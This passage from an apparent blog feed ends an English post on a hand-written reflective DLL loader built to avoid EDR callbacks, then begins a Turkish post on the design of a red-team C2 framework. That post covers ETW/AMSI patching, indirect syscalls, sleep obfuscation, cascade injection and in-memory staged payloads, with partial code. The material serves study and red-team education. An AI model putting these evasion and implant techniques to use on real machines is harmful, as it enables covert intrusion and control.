0x0FFF;<br>            if(type == IMAGE_REL_BASED_DIR64)<br>            {<br>                ULONGLONG* patchAddr = (ULONGLONG*)(mappedBase + relocBlock-&gt;VirtualAddress + offset);<br>                *patchAddr += delta;<br>            }<br>        }<br>        relocBlock = (PIMAGE_BASE_RELOCATION)((BYTE*)relocBlock + relocBlock-&gt;SizeOfBlock);<br>    }<br>}</pre><p>With mappedBase = 0x0000021A40050000 against a preferred 0x180000000, g_Message gets rewritten from 0x0000000180002050 to 0x0000021A40052050 — now genuinely pointing at the copied string in .rdata. Problem 3 solved.</p><h3>Step 4: imports, with zero loader APIs</h3><p>For each imported DLL, resolve its base with the <strong>PEB walk</strong> (it’s already in the process — no LoadLibraryA, no kernel image-load callback) and each function with the <strong>EAT walk</strong>, writing live addresses into the IAT slots:</p><pre>PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(mappedBase + importDir.VirtualAddress);<br>while(importDesc-&gt;Name)<br>{<br>    const char* dllName = (const char*)(mappedBase + importDesc-&gt;Name);<br>    HMODULE hDepModule = CustomGetModuleHandleA(dllName);<br>    if(!hDepModule)<br>    {<br>        // Module dependency not loaded by default,<br>        // hDepModule = GetModuleHandleA(dllName);<br>        // can be used, but we don&#39;t want EDR notifiers<br>        printf(&quot;[-] %s module not loaded by default, not triggering EDRs via GetModuleHandleA.\n&quot;, dllName);<br>        return 1;<br>    }<br>    PIMAGE_THUNK_DATA64 origThunk = (PIMAGE_THUNK_DATA64)(mappedBase + (importDesc-&gt;OriginalFirstThunk ? importDesc-&gt;OriginalFirstThunk : importDesc-&gt;FirstThunk));<br>    PIMAGE_THUNK_DATA64 iatThunk  = (PIMAGE_THUNK_DATA64)(mappedBase + importDesc-&gt;FirstThunk);<br>    while(origThunk-&gt;u1.AddressOfData != 0)<br>    {<br>        FARPROC funcAddr = NULL;<br>        if(IMAGE_SNAP_BY_ORDINAL64(origThunk-&gt;u1.Ordinal))<br>        {<br>            WORD ordinal = (WORD)IMAGE_ORDINAL64(origThunk-&gt;u1.Ordinal);<br>            funcAddr = CustomGetProcAddressByOrdinal(hDepModule, ordinal);<br>        }<br>        else {<br>            PIMAGE_IMPORT_BY_NAME importByName = (PIMAGE_IMPORT_BY_NAME)(mappedBase + origThunk-&gt;u1.AddressOfData);<br>            funcAddr = CustomGetProcAddress(hDepModule, importByName-&gt;Name);<br>        }<br>        iatThunk-&gt;u1.Function = (ULONGLONG)funcAddr;<br>        origThunk++;<br>        iatThunk++;<br>    }<br>    importDesc++;<br>}</pre><p>The ILT gives the names, the IAT slot receives 0x00007FF9D7FBFC90 - the live address of USER32.dll!MessageBoxA. Problem 2 solved. (Note the failure path: if a dependency isn&#39;t already loaded, the loader refuses rather than reach for GetModuleHandleA - in a lab, correctness of the <em>decision</em> matters more than convenience.)</p><h3>Step 5: per-section protections</h3><p>Everything so far was written through RW pages. Now lock the image down exactly as the OS loader would — translate each section’s Characteristics to page flags and protect section by section:</p><pre>ULONG GetSectionProtection(DWORD characteristics)<br>{<br>    if(characteristics &amp; IMAGE_SCN_MEM_EXECUTE)<br>    {<br>        if(characteristics &amp; IMAGE_SCN_MEM_WRITE)<br>        {<br>            return PAGE_EXECUTE_READWRITE;<br>        }<br>        if(characteristics &amp; IMAGE_SCN_MEM_READ)<br>        {<br>            return PAGE_EXECUTE_READ;<br>        }<br>        return PAGE_EXECUTE;<br>    }<br>    if(characteristics &amp; IMAGE_SCN_MEM_WRITE)<br>    {<br>        return PAGE_READWRITE;<br>    }<br>    if(characteristics &amp; IMAGE_SCN_MEM_READ)<br>    {<br>        return PAGE_READONLY;<br>    }<br>    return PAGE_NOACCESS;<br>}</pre><pre>for(i = 0; i &lt; ntHeaders-&gt;FileHeader.NumberOfSections; i++)<br>{<br>    PVOID secBase = mappedBase + sectionHeader[i].VirtualAddress;<br>    SIZE_T secSize = sectionHeader[i].Misc.VirtualSize;<br>    if(!secSize) {<br>        secSize = sectionHeader[i].SizeOfRawData;<br>    }<br>    ULONG protect = GetSectionProtection(sectionHeader[i].Characteristics);<br>    ULONG oldProtection = 0;<br>    ntStatus = NtProtectVirtualMemory((HANDLE)-1, &amp;secBase, (PULONG)&amp;secSize, protect, &amp;oldProtection);</pre><p>This step is a detection conversation, not an afterthought. A genuine loader mapping ends with .text → RX, .rdata → R, .data → RW. A sloppy manual mapper leaves everything RW - and an .rdata (strings + IAT) marked RW in Private memory is precisely what memory scanners like PE-sieve flag as an <em>unfinalized injected PE</em>. During Step 4 the page must be writable; after Step 4, leaving it writable is the tell. Problem 4 solved - the W^X discipline from the second section, applied per-page.</p><h3>Step 6: execute</h3><pre>fnDllMain DllMain = (fnDllMain)(mappedBase + ntHeaders-&gt;OptionalHeader.AddressOfEntryPoint);<br>DllMain((HINSTANCE)mappedBase, DLL_PROCESS_ATTACH, NULL);</pre><p>The execution trace runs through everything the loader built: RIP enters .text (RX — Step 5), DllMain reads g_Message from .data (relocated — Step 3), calls through the IAT slot in .rdata (resolved — Step 4), and the message box appears.</p><h3>Proof: A DLL That Isn’t There</h3><p>The full run:</p><pre>c:\Users\cyber\OneDrive\Desktop\labs\lab-4.1&gt;main.exe<br>[!] Nt functions resolved successfully.<br>[+] Read testdll.dll, bytes read: 3584<br>[!] Initiating Step 1: Parse the RAW PE Headers &amp; Allocate SizeOfImage Bytes<br>[+] Allocated 24576 bytes of virtual memory for mapped base.<br>[!] Initiating Step 2: Copy PE Headers &amp; Stretch Each Section into mappedBase<br>[+] Copied and stretched each section into mappedBase.<br>[!] Initiating Step 3: Process Base Relocations<br>[+] Processed base relocations using delta: 0x2B4A7AC0000<br>[!] Initiating Step 4: Resolve Imports &amp; Patch IAT<br>[+] Resolved imports and patched IAT.<br>[!] Initiating Step 5: Enforce Per-Section Memory Protections<br>[+] Protected 5 sections of virtual memory.<br>[!] Initiating Step 6: Call AddressOfEntryPoint of testdll.dll</pre><p>With the message box still open, System Informer tells the story in three tabs.</p><p><strong>Modules</strong> — testdll.dll is absent. No LdrLoadDll ever ran, so no LDR_DATA_TABLE_ENTRY was ever inserted into PEB-&gt;Ldr - the module list has no idea the code exists:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vVYbvm3Ibq_Q8g08.png" /></figure><p><strong>Memory</strong> — at mappedBase = 0x2b627ac0000, five private pages with distinct, authentic-looking protections:</p><pre>0x2b627ac0000 4 kB Private: Commit RW PE headers <br>0x2b627ac1000 4 kB Private: Commit RX .text <br>0x2b627ac2000 4 kB Private: Commit R .rdata (locked IAT + strings) <br>0x2b627ac3000 4 kB Private: Commit RW .data (relocated globals) <br>0x2b627ac4000 8 kB Private: Commit R .reloc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lHAORpZ6IdsKwKhC.png" /></figure><p><strong>Hex dump</strong> — the first eight bytes of .rdata read 90 fc 8b c7 ff 7f 00 00: little-endian for 0x00007FFFC78BFC90, the live USER32.dll!MessageBoxA pointer sitting in the IAT slot where a name-RVA used to be, followed by the relocated string bytes.</p><p>To be clear about what this is and isn’t: this is a <em>self-education artifact</em>, on my own VM, loading my own DLL — not an implant. Its footprint ( Private executable memory with no backing image) is exactly what a competent scanner looks for, and modern EDRs do catch it. Which is rather the point of building it: you cannot reason about detection - or about what LoadLibrary actually does - at this depth without once being the loader yourself.</p><h3>Where This Goes Next</h3><p>The loader here still calls ntdll’s exported stubs — the same stubs an EDR hooks before the syscall. Phase 4 continues exactly there: Module 4.2 rebuilds syscall invocation itself (SSN resolution, direct and indirect syscalls that never touch a hooked stub), and Module 4.3 covers call-stack spoofing and .pdata unwinding — because once your code no longer calls monitored APIs, the next thing investigators trust is your call stack.</p><p>Notes, lab sources, and the full curriculum live in the <a href="https://github.com/st4inl3s5/OS-Internals">OS-Internals repository</a>. If you’re walking this path yourself, my advice is the same one the material enforces: don’t import a loader — write the walk, print the addresses, and check them against the API. Every single time.</p><p><em>Originally published at </em><a href="https://yigitaydemir.com/blog/from-syscall-to-reflective-loader"><em>https://yigitaydemir.com</em></a><em> on October 23, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97df1f663ee9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sıfırdan C2 Framework’ü İnşa Etmek: Mimariye Derinlemesine Bakış]]></title>
            <link>https://medium.com/@st4inl3s5/s%C4%B1f%C4%B1rdan-c2-framework%C3%BC-i%CC%87n%C5%9Fa-etmek-mimariye-derinlemesine-bak%C4%B1%C5%9F-107d1be27ad3?source=rss-8ac372c1fc98------2</link>
            <guid isPermaLink="false">https://medium.com/p/107d1be27ad3</guid>
            <category><![CDATA[c2-framework]]></category>
            <category><![CDATA[edr-evasion]]></category>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[antivirus-evasion]]></category>
            <category><![CDATA[c2]]></category>
            <dc:creator><![CDATA[Yiğit Aydemir]]></dc:creator>
            <pubDate>Mon, 11 May 2026 01:56:04 GMT</pubDate>
            <atom:updated>2026-05-11T01:56:04.337Z</atom:updated>
            <content:encoded><![CDATA[<p><em>81,727 satır C++17, Go, Kotlin, ve TypeScript — ve arkalarındaki tüm dizayn meseleleri. Versiyon: v1.0.0</em></p><p>TelekinetiC2&#39;yi, sıfırdan, authorized red team operasyonları için modern bir Komuta ve Kontrol framework’ü olarak geliştirdim. Cobalt Strike veya Havoc’un bir kopyası olarak değil, her katmanın ardındaki gerçek mühendisliği anlamanın bir yolu olarak geliştirdim. Bunlardan bazıları: Şifrelenmiş beacon göndermenin byte düzeyinde nasıl çalıştığı, yalnızca bellekte bulunan payloadların işlem restartlarından nasıl sağ çıktığı, bir ajanın sleep zamanındayken nasıl görünmez kaldığı gibi konular… Bu yazı, pazarlama diliyle anlatılan versiyonu değil, gerçek kararları, ödünleri ve bazen acı verici dersleri içeren eksiksiz bir mimariyi ele alıyor.</p><h3>Sisteme Genel Bakış</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_Wkuqb3PSqP_qgRVAtvpQ.png" /><figcaption>Listener-Ajan Network Haritası</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OSgizxdPpXSGV5Q-IrByjw.png" /><figcaption>Cross-Platform Ajanlar</figcaption></figure><p>telekinetiC2, yedi bileşenli dağıtık bir sistemdir. Hedef makinelerdeki ajanlar, yalnızca HTTPS üzerinden Listener sunucusuyla iletişim kurar. Listener sunucusu hiçbir zaman doğrudan Admin sunucusuyla iletişim kurmaz, yalnızca Redis üzerinden iletişim kurarlar. Admin sunucusu, WebSocket ve REST üzerinden React web arayüzünü çalıştırır.</p><pre>┌──────────────────────────────────────────────────────────────┐<br>│                        Operator Workstation                  │<br>│  ┌──────────────────────────────────────────────────────┐    │<br>│  │         Web Interface (React 19 + TypeScript)        │    │<br>│  │  Dashboard · Agent Manager · Network Map · Builder   │    │<br>│  └──────────────────┬───────────────────────────────────┘    │<br>│           Websocket │ REST API                               │<br>└─────────────────────┼────────────────────────────────────────┘<br>                      ▼                          <br>          ┌───────────────────────┐<br>          │    Admin Server (Go)  │ ◄─── PostgreSQL (agents, tasks, vault)<br>          │  JWT · RBAC · Builder │ ◄─── Redis (session keys, agent state)<br>          └──────────┬────────────┘<br>                     │ Redis Pub/Sub &amp; Task Queues<br>          ┌──────────▼────────────┐<br>          │  Listener Server (Go) │<br>          │  Binary protocol +    │<br>          │  Hybrid crypto layer  │<br>          └──────────┬────────────┘<br>                     │ HTTPS  (AES-256-GCM inside RSA-4096 envelope)<br>          ┌──────────▼────────────┐<br>          │         Agent         │<br>          │  C++17 (Linux/Win)    │<br>          │  Kotlin+JNI (Android) │<br>          └───────────────────────┘</pre><p><strong>Temel mimari karar:</strong> Listener ve Admin sunucuları tamamen birbirinden bağımsızdır. Asla doğrudan iletişim kurmazlar. Listener’lar, ajanların bağlandığı burner(feda edilebilir) bir IP adresinde bulunur; Admin sunucusu ise başka bir makinede yer alır. Bir listener sunucusu devre dışı bırakılırsa (IP adresi kara listeye alınırsa, trafiği yakalanırsa, hacklenirse), Admin sunucusu ve depolanan tüm veriler etkilenmeden kalır. Koordinasyon yalnızca Redis Pub/Sub ve list işlemleri aracılığıyla gerçekleşir.</p><p><strong>Tavsiye edilen framework kurulumu şu şekildedir:</strong> Listener sunucuları dışarıya expose edilmiş, konteynerda çalışan VPS’lerdir(önlerinde cloudflare, nginx gibi hizmetler ile gerçek IP adresleri korunabilir). Admin sunucusu, Redis ve Postgres aynı makinede(OPSEC açısından farklı makinelerde olmaları daha iyidir fakat operasyon hızımızı düşürür), ayrı konteynerlarda çalışırlar. Her bir listener sunucusu, Wireguard ile Redis’in de bu ağa dahil olduğu bir VPN ağına bağlıdır. Böylece listener sunucuları bu VPN ile Redis’le iletişim kurar ve Redis’in gerçek IP’si ifşa olmaz.(listener sunucusunun hacklenmesi senaryosunda)</p><h4>Bileşenlerin Rolleri ve Detayları</h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/bafdbbf755b28a39e102d3471fe32adc/href">https://medium.com/media/bafdbbf755b28a39e102d3471fe32adc/href</a></iframe><h4>İletşim Katmanı: Hibrit Şifreleme + Binary Protokolü</h4><p>Listener sunucuları ve ajanlar arasında iletilen her istek/cevap iki katmanlı bir şifreleme şemasından geçiyor ve veri paketi JSON değil, kompakt bir binary formattadır.</p><p><strong>Neden JSON Değil?: </strong>Aslında bir C2 protokolü için JSON açık ara uygulanması en uygun seçeneklerden biridir. Her Go/C++/Kotlin kütüphanesi bunu kolayca halleder. Ancak bu kullanım durumu için üç sorun mevcut:</p><ol><li><strong>Field adları bellek dumplarında görünür:</strong> “hostname”, “agent_id”, “task_type” gibi stringler, heap dumplarında, ağ trafik incelemelerinde ve bellek tarayıcıların çıktısında aynen görünür. Binary formatta field adları sızdırılmaz.</li><li><strong>Parser footprint’leri:</strong> `nlohmann/json`’ı C++ ajanına bağlamak, binary dosyaya ~180 kB şablon örneklemesi ekledi. Bunu kaldırmak ve kompakt bir binary encoder yazmak, bu sorunu tamamen ortadan kaldırdı.</li><li><strong>Yapısal öngörülebilirlik:</strong> JSON parserları, protokol fingerprint oluşturucularının eşleştirebileceği tanınabilir kalıplar (tırnak işaretleri(“”), colon ayırıcılar(:), parantez nesting({[]})) bırakır. Sabit ofsetli binaryformatta bu tür ipuçları yoktur.</li></ol><p><strong>İletişimde Kullanılan Zarf Yapıları</strong></p><p>Ajan ile dinleyiciler arasındaki tüm trafik aynı dış zarf yapısını kullanır, ancak ilk temas (register) ve sonraki tüm trafik (beaconing) arasında anlamsal farklılıklar vardır.</p><pre>Registration zarfı:<br>┌─────────────────────────────────────────────────────────────────┐<br>│ Offset │ Size  │ Field                                          │<br>├────────┼───────┼────────────────────────────────────────────────┤<br>│   0    │   1   │ version = 0x01                                 │<br>│   1    │  512  │ RSA-4096-OAEP( AES-256 session key )           │<br>│  513   │  12   │ AES-GCM nonce (random, per-request)            │<br>│  525   │  N+16 │ AES-GCM ciphertext + authentication tag        │<br>|525+N+16| 0-255 | Random junk data(all packets have random size) |<br>└─────────────────────────────────────────────────────────────────┘<br><br>Beacon zarfı:<br>┌─────────────────────────────────────────────────────────────────┐<br>│ Offset │ Size  │ Field                                          │<br>├────────┼───────┼────────────────────────────────────────────────┤<br>│   0    │   1   │ version = 0x01                                 │<br>│   1    │  512  │ RSA-4096-OAEP( session UUID — 16 bytes )       │<br>│  513   │  12   │ AES-GCM nonce                                  │<br>│  525   │  N+16 │ AES-GCM ciphertext + authentication tag        │<br>|525+N+16| 0-255 | Random junk data(all packets have random size) |<br>└─────────────────────────────────────────────────────────────────┘</pre><p><strong>İnce fark şudur:</strong> Registration sırasında, RSA bloğu 32 baytlık AES oturum anahtarını taşır. Sonraki her beacon’da ise 16 baytlık oturum UUID’sini taşır. Listener’lar, RSA private keyleri ile RSA bloğunu çözerek buradan elde ettikleri UUID’yi kullanarak oturum anahtarını Redis’ten elde eder.</p><p><strong>Bu neden önemli?</strong> Bir saldırgan, listener server’ı hackleyip RSA private keyini ele geçirse bile, geçmişe ait beacon trafiğini çözemez. AES anahtarları bellekte oluşturulur ve Redis’te belli bir TTL ile saklanır; asla ağ üzerinden tekrar görünmez. UUID, yalnızca sunucu tarafında var olan Redis eşlemesi olmadan anlamsızdır.</p><pre>┌──────────────────────────────────────────────────────────────────────┐<br>│ Agent                     │ Wire                │ Listener           │<br>│                           │                     │                    │<br>│  Plaintext binary struct  │                     │                    │<br>│  ──AES-256-GCM──►         │ nonce+ciphertext+tag│                    │<br>│  RSA-OAEP(session_key)    │ ──────────────────► │ RSA decrypt        │<br>│                           │                     │ → AES key (reg)    │<br>│                           │                     │ → UUID (beacon)    │<br>│                           │                     │   └→ Redis lookup  │<br>│                           │                     │ AES-GCM decrypt    │<br>│                           │                     │ → plaintext struct │<br>└──────────────────────────────────────────────────────────────────────┘</pre><p><strong>Binary Protokolü</strong></p><p>İç payload(AES-GCM’nin koruduğu şey), sabit ofsetli little endian binary formatındadır. Şu an desteklenen görev(task) türü tablosu:</p><pre>// binary_proto.hpp<br>static constexpr uint8_t TASK_TYPE_SHELL            = 0x00;<br>static constexpr uint8_t TASK_TYPE_RECON            = 0x01;<br>static constexpr uint8_t TASK_TYPE_FILE_MANAGER     = 0x02;<br>static constexpr uint8_t TASK_TYPE_FILE_TRANSFER    = 0x03;<br>static constexpr uint8_t TASK_TYPE_MODULE_MANAGER   = 0x04;<br>static constexpr uint8_t TASK_TYPE_LOCATION_MANAGER = 0x05;<br>static constexpr uint8_t TASK_TYPE_CORE_CONTROL     = 0x06;<br>static constexpr uint8_t TASK_TYPE_PERSISTENCE_MGR  = 0x07;</pre><p>Bir beacon isteği, aynı binary çerçeve içinde ajanın canlı telemetri verilerini taşır: CPU/RAM kullanımı, çalışma süresi, aktif modül bildirimi, GPS koordinatları (Android, opsiyonel) ve sunucu tarafı konum belirleme için yakındaki WiFi BSSID’leri(Masaüstü, opsiyonel); bunların tümü tek bir string field olmadan paketlenmiştir.</p><p><strong>Sunucu Mimarisi: Redis Message Bus</strong></p><p>Listener ve Admin sunucuları asla doğrudan iletişim kurmaz. Tüm koordinasyon Redis üzerinden gerçekleşir:</p><pre>Agent → Listener:  POST /api/v1/REG_ENDPOINT   (register)<br>Listener → Redis:  HSET c2:agent:&lt;id&gt; ...<br>                   HSET c2:session:&lt;session_id&gt; aes_key ...<br>                   PUBLISH c2:event:agent:register<br><br>Redis → Admin:     (subscriber receives event)<br>Admin → Postgres:  INSERT INTO agents ...<br>Admin → WebSocket: broadcast &quot;agent:register&quot; to UI clients<br><br>─────────────────────────────────────────────────────────<br><br>Agent → Listener:  POST /api/v1/BEACON_ENDPOINT  (beacon)<br>Listener → Redis:  LPOP c2:pending_tasks:&lt;agent_id&gt;<br>Listener → Agent:  binary response (tasks)<br><br>─────────────────────────────────────────────────────────<br><br>UI → Admin:  POST /tasks  (operator dispatches task)<br>Admin → Redis:  RPUSH c2:pending_tasks:&lt;agent_id&gt;</pre><p>Task kuyruğu bir Redis listesidir. Listener, her beacon’da `LPOP` ile taskları listeden çıkarır ve binary yanıtla ajana geri gönderir. Admin sunucusu taskları gönderir (`RPUSH`) ve durum olaylarını publish eder. Her iki sunucunun da diğerinin şu anda ne yaptığını bilmesine gerek yoktur.</p><pre>Redis key schema:<br><br>c2:agent:&lt;agent_id&gt;              Hash    Runtime state, metrics, location, modules<br>c2:session:&lt;session_id&gt;          Hash    { agent_id, aes_key } — TTL = beacon_interval + grace<br>c2:pending_tasks:&lt;agent_id&gt;      List    Task queue (FIFO, LPOP by listener)<br>c2:beacons                       ZSet    Agent last-seen Unix timestamps<br>c2:module:&lt;id&gt;:&lt;ver&gt;:&lt;os&gt;:&lt;arch&gt; String  Raw module binary blob<br>c2:build:&lt;build_id&gt;              Hash    Build config (timing, host, port, template)<br>c2:wifi_cache:&lt;agent_id&gt;         String  WiFi geolocation result (TTL 1h)<br>c2:download:count:&lt;payload_id&gt;   String  Rate-limit counter (TTL 60s, max 10/min)</pre><h4>Aşamalı(Staged) Payload Mimarisi</h4><p>Ajanlar iki biçimde derlenebilir. Tek parça(monolithic) halindeki sürüm, her şeyi içinde barındıran(core C2 mekanizmaları, modüller, vb.) tek bir binary dosyadır; geliştirme ve hızlı dağıtım için kullanışlıdır. Aşamalı sürüm ise üretimde kullanılan sürümdür, modülerliği ve OPSEC açısından öne çıkar.</p><p>Disk üzerindeki stager binary dosyası neredeyse hiçbir şey içermez; yalnızca bir `build_id` ve bir URL. Stage2, HTTPS üzerinden indirilir, asla diske yazılmaz ve tamamen anonim bir bellek mapping’te bulunur. Bellek tarayıcıları bunu ELF/PE sihirli başlığı olmayan anonim bir sayfa olarak görür (başlıklar, stage2 yüklemesinden sonra silinir). Böylece, diskten kurtarılacak bir dosya olmaz, `/proc/PID/maps` dizininde adlandırılmış bir dosyaya işaret eden bir giriş olmaz.</p><pre>Disk (stager) → EnvGuard → ETW/AMSI patch (Win) → unseal config<br>     → POST /assets/bootstrap → AES-GCM encrypted payload<br>     → SHA-256 verify → reflective load in-memory → wipe headers<br>     → stage2 runs → register → beacon loop<br>     → load modules on demand (same channel, per-session key)</pre><p>Stage2 ve modül indirmeleri rate limite tabidir (her `build_id` için dakikada 10 istek) ve Redis’te mevcut olması gereken geçerli bir build ID gerektirir.</p><p><strong>Platform Matrisi</strong></p><p>Ajanlar üç işletim sistemini hedef alıyor, ancak evasion mekanizmaları platforma özgüdür:</p><pre>                  ┌─────────────┬────────────┐<br>                  │  Linux x64  │ Windows x64│<br>┌─────────────────┼─────────────┼────────────┤<br>│Staged loader    │      ✓      │     ✓      |<br>│Reflective load  │  ELF loader │  PE loader │<br>│Anti-analysis    │  EnvGuard   │  EnvGuard  │<br>│io_uring I/O     │      ✓      │     ✗      │<br>│Indirect syscall │      ✗      │     ✓      │<br>│ETW/AMSI patch   │      ✗      │     ✓      │<br>│Sleep obfuscation│      ✗      │     ✓      │<br>│IAT obfuscation  │      ✗      │     ✓      │<br>│Cascade injection│      ✗      │     ✓      │<br>└─────────────────┴─────────────┴────────────┘</pre><h4>Windows OPSEC Stack</h4><p>Windows ajanı, sekiz farklı evasion tekniğini katmanlar halinde kullanır. Bunlar bağımsız değildir; sıralama önemlidir ve bazı teknikler diğerlerini derinden etkileyen kısıtlamalar yaratır.</p><pre>Stager starts<br>     │<br>     ▼<br>EnvGuard ──── hostile? ──► silent exit (code 0)<br>     │<br>     │ clean<br>     ▼<br>ETW patch: EtwEventWrite → xor eax,eax; ret<br>     │<br>     ▼<br>AMSI patch: AmsiScanBuffer → AMSI_RESULT_CLEAN<br>     │<br>     ▼<br>Unseal config blob (AES-GCM, HKDF-derived key)<br>     │<br>     ▼<br>Download stage2 (hybrid envelope over TLS)<br>     │<br>     ▼<br>SHA-256 integrity verify<br>     │<br>     ▼<br>Spawn sacrificial process (dllhost.exe with real CLSID, suspended)<br>     │<br>     ▼<br>Map stage2 → anonymous section → base reloc<br>     │<br>     ▼<br>Cascade injection (g_pfnSE_DllLoaded overwrite)<br>     │<br>     ▼<br>Resume thread → stager exits → stage2 _run()<br>                                    │<br>                                    ▼<br>                           self-resolve IAT<br>                           re-patch ETW/AMSI<br>                           enter beacon loop</pre><p><strong>Teknik 1: Derleme Zamanı Şifreleme(CTE)</strong></p><p>Release sürümlerindeki her değişmez string değeri `CTE()` makrosundan geçer. Anahtar, derleme zamanında `__TIME__` ve `__DATE__`’den türetilir, bu nedenle her sürüm için farklıdır. Düz metin asla `.rodata` dosyasında görünmez.</p><p><strong>Teknik 2: Indirect Syscalls + Halo’s Gate</strong></p><p>EDR’lar, sistem çağrılarını yakalamak için ntdll stub’larının ilk birkaç baytını hooklar. Buna bir savunma yöntemi olarak, bu hook yöntemini atlatmamız gerekir, yani `syscall` komutunu doğrudan çağırabiliriz(direct syscall). Fakat direct syscall’lar, syscall’ların direkt olarak bizim ajan prosesimizden çıkmasına neden olur(normalde ntdll.dll’den vb. kaynaklanmalıdırlar) ve günümüzde büyük bir red flag’tır. Bu yüzden dolaylı syscall’lar(indirect syscalls) kullanarak syscall’ın sanki ntdll.dll’den çıkmış gibi göstermesini sağlıyoruz.</p><p>Aşağıdaki implementasyon, binary dosyada herhangi bir NT fonksiyon adını saklamaktan kaçınır. Bunun yerine, her fonksiyon adının djb2 hash’ı derleme zamanında hesaplanır ve çalışma zamanında export edilmiş fonksiyonları bulmak için kullanılır:</p><pre>// syscalls.hpp<br>constexpr uint32_t djb2Hash(const char *str) {<br>    uint32_t h = 5381;<br>    while (*str)<br>        h = ((h &lt;&lt; 5) + h) + static_cast&lt;uint8_t&gt;(*str++);<br>    return h;<br>}<br><br>// At runtime: walk ntdll export table, hash each name, compare against<br>// pre-computed constants. No plaintext NT function names in the binary.</pre><p>Bir ntdll stub’u hooklandığında (ilk baytlar bir JMP için `E9` veya dolaylı bir JMP için `FF25`’tir), Halo’s Gate fallback mekanizması devreye girer: Komşu ntdll exportlarının ardışık SSN’leri vardır, bu nedenle hedefin SSN’i, ±N ofsetindeki temiz bir komşu exportundan çıkarılabilir.</p><p>Yüksek riskli işlemler (remote bellek tahsisi, section mapping) için syscall’lar bir Thread Pool Proxy’si aracılığıyla gönderilir. Gerçek syscall komutu, bir pool worker thread’ında yürütülür, bu nedenle EDR tarafından görülen çağrı yığını, beacon thrad’ımızı değil, temiz bir thread pool worker’ıdır.</p><p><strong>Teknik 3: AlertShroud — Sleep Obfuscation</strong></p><p>En kompleks ve yapmasında çok zorlandığım tekniktir. Neredeyse novel düzeyde olan bir tekniktir. Ajan beacon için uykuya daldığında:</p><ol><li>`.text` bölümünün tamamını, her uyku döngüsü için 16 baytlık rastgele bir anahtarla XOR ile şifreler.</li><li>`.text` dosyasını `PAGE_READWRITE` olarak işaretler.</li><li>`NtWaitForAlertByThreadId` aracılığıyla sahte bir çağrı yığını kullanarak beacon thread’ını bekleme moduna alır.</li><li>Ayrı bir thread’te bir pool timer’ı tetiklenir, `.text` dosyasının şifresini çözer, `PAGE_EXECUTE_READ` durumunu geri yükler ve beacon thread’ini uyarır.</li></ol><pre>Beacon thread:                           Pool thread (timer callback):<br>                                  <br>enterSleep():                            [timer fires]<br>  XOR-encrypt .text                      wakeCallback():<br>  NtProtect .text → PAGE_READWRITE       XOR-decrypt .text<br>  build fake stack:                      NtProtect .text → RX<br>    RtlWaitOnAddress   ←                 NtAlertThreadByThreadId<br>    SleepConditionVarCS                    (beacon thread wakes)<br>    BaseThreadInitThunk<br>  RSP ← fake stack<br>  NtWaitForAlertByThreadId<br>  [parked]</pre><p>Belirli aralıklarla yoklama yapan bir bellek tarayıcısı için, `.text` uyku sırasında rastgele anlamsız veriler gibi görünüyor. Thread çağrı yığını, `ntdll` içindeki bir koşul değişkeni beklemesine benziyor; bu, Chrome’un renderer thread’larıyla aynı bir model.</p><p>Bu durumun yarattığı katı kısıtlama şudur: `.text` `PAGE_READWRITE` iken bazı kodların çalışması gerekir(şifreleme/şifre çözme döngüsünün kendisi, thread bekleme işlevi ve zamanlayıcı geri çağırma işlevi). Bu işlevler, asla şifrelenmeyen özel bir `.tcwake` PE bölümüne derlenir. `.tcwake` içine yerleştirilen herhangi bir işlev yalnızca inline assembly kodu ve doğrudan sistem çağrıları kullanmalıdır. CRT çağrıları yok, IAT thunk’ları yok. IAT, uyku sırasında erişilemeyen `.text` içinde bulunur.</p><pre>// wakeCallback and enterSleep are in .tcwake — never encrypted<br>static void CALLBACK wakeCallback(PTP_CALLBACK_INSTANCE, PVOID ctx, PTP_TIMER)<br>    __attribute__((section(&quot;.tcwake&quot;), used, noinline));<br><br>static void enterSleep(SleepCtx* ctx)<br>    __attribute__((section(&quot;.tcwake&quot;), used, noinline));</pre><p><strong>Teknik 4: Cascade Injection ve Reflective ELF Loader</strong></p><p>Stage2&#39;nun farklı bir işlem içinde yürütülmesi gerekiyor. `CreateRemoteThread`, EDR ürünlerinde en çok izlenen sistem çağrısı dizilerinden biridir, dolayısıyla buna bir alternatif bulmam lazımdı: ntdll’nin shim motorundaki `g_pfnSE_DllLoaded` fonksiyon pointer’ını overwrite etmek. Bu pointer, DLL’ler yüklendiğinde shim altyapısından çağrılır — meşru, belgelenmiş bir callback mekanizmasıdır. Bunu, maplenmiş stage2 giriş noktasına işaret eden bir pointer ile overwrite etmek, hedef işlemdeki bir sonraki DLL yükleme olayında stage2 yürütülmesini tetikler. Böylece, herhangi bir uzaktan thread oluşturma syscall’ı kullanmadan, önceden map ettiğim stage2&#39;yu Windows’a çalıştırtabiliyorum.</p><p>Stage2 imajı, anonim `NtCreateSection` + `NtMapViewOfSection` aracılığıyla maplenir; `WriteProcessMemory` veya `VirtualAllocEx` kullanılmaz. 66 baytlık köprüleme shellcode’u (shim callback→ `_run()` geçişini ayarlayan kod), stager binary dosyasında XOR ile gizlenmiştir.</p><p>Linux’ta yabancı binary dosyaları belleğe yüklemek için `VirtualAllocEx`/`WriteProcessMemory` eşdeğeri bir işlev bulunmamaktadır. Custom ELF yükleyicisi bunu sıfırdan yapar.</p><pre>// elf_loader.cpp (simplified)<br>// No dlopen. No memfd_create. No filesystem artifacts.<br><br>extern struct r_debug _r_debug;  // ld.so&#39;s debug rendezvous structure<br><br>ElfLoader::load(bytes):<br>  // 1. Anonymous mapping — no backing file<br>  mmap(NULL, file_size, PROT_READ|WRITE, MAP_PRIVATE|ANON)<br><br>  // 2. Parse PT_LOAD segments, apply base address relocations<br>  parse ELF header → PT_LOAD segments → reloc table<br><br>  // 3. Resolve external symbols by walking ld.so&#39;s link_map<br>  //    _r_debug.r_map is the head of the loaded library linked list<br>  